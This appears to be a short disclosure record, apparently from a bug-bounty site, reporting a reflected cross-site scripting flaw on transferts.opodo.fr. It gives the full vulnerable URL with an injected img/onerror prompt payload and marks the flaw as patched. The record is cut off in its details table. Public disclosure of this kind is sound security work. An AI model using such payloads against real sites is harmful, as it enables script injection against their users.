transferts.opodo.fr XSS vulnerability

Vulnerable URL: http://transferts.opodo.fr/bookingform.php?airporttransfercity=%22%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3EYorktransferairport=John%20F%20Kennedy%20International%20Airporttype=sharedname=Manhattan%20Hotels〈= Details: Description| Value ---|--- Patched:| Yes, at 30.05.20...